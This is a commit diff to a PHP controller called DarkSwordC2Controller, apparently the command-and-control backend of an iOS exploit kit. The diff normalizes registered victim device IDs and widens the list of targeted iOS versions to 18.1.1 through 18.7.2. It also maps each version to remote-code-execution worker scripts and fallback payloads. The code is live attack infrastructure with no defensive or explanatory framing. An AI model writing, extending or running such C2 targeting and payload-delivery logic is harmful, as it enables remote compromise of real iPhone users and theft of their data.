feat: 18
This commit is contained in:
@@ -123,14 +123,13 @@ class DarkSwordC2Controller extends Controller
|
||||
public function register(Request $request): SymfonyResponse
|
||||
{
|
||||
$payload = $this->jsonBody($request);
|
||||
$device = strtoupper((string) (
|
||||
$device = Device::normalizeDarkswordKey((string) (
|
||||
$payload['deviceUUID']
|
||||
?? $payload['device']
|
||||
?? $payload['uuid']
|
||||
?? $request->header('X-Device-UUID')
|
||||
?? ''
|
||||
));
|
||||
$device = substr(preg_replace('/[^0-9A-F]/', '', $device) ?? '', 0, 32);
|
||||
$ios = (string) ($payload['ios'] ?? $payload['ios_version'] ?? $request->query('ios', ''));
|
||||
|
||||
return $this->finish($request, '/api/ds/device/register', $payload, response()->json([
|
||||
@@ -184,7 +183,7 @@ class DarkSwordC2Controller extends Controller
|
||||
$recommended = '';
|
||||
$fallbacks = [];
|
||||
$chain = 'coruna';
|
||||
$reason = 'Coruna (DS allowlist: 18.5 / 18.6 / 18.6.1 / 18.6.2)';
|
||||
$reason = 'Coruna (DS allowlist: 18.1.1 / 18.4 / 18.4.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 / 18.7 / 18.7.1 / 18.7.2)';
|
||||
}
|
||||
|
||||
return $this->finish($request, '/api/ds/chain-targets', $this->payloadFromQueryOrJson($request), response()->json([
|
||||
@@ -337,7 +336,7 @@ class DarkSwordC2Controller extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* Workers only for the DS allowlist (18.5 / 18.6 / 18.6.1 / 18.6.2).
|
||||
* Workers only for the DS allowlist.
|
||||
*
|
||||
* @return array{0: string, 1: list<string>}
|
||||
*/
|
||||
@@ -346,7 +345,9 @@ class DarkSwordC2Controller extends Controller
|
||||
$canon = PageVisit::canonicalIosVersion($ios);
|
||||
|
||||
return match ($canon) {
|
||||
'18.1.1', '18.4', '18.4.1' => ['rce_worker_18.4.js', ['rce_worker_18.6.js']],
|
||||
'18.5' => ['rce_worker_18.5.js', ['rce_worker_18.6.js']],
|
||||
'18.7', '18.7.1', '18.7.2' => ['rce_worker_18.7.js', ['rce_worker_18.6.js']],
|
||||
default => ['rce_worker_18.6.js', []],
|
||||
};
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user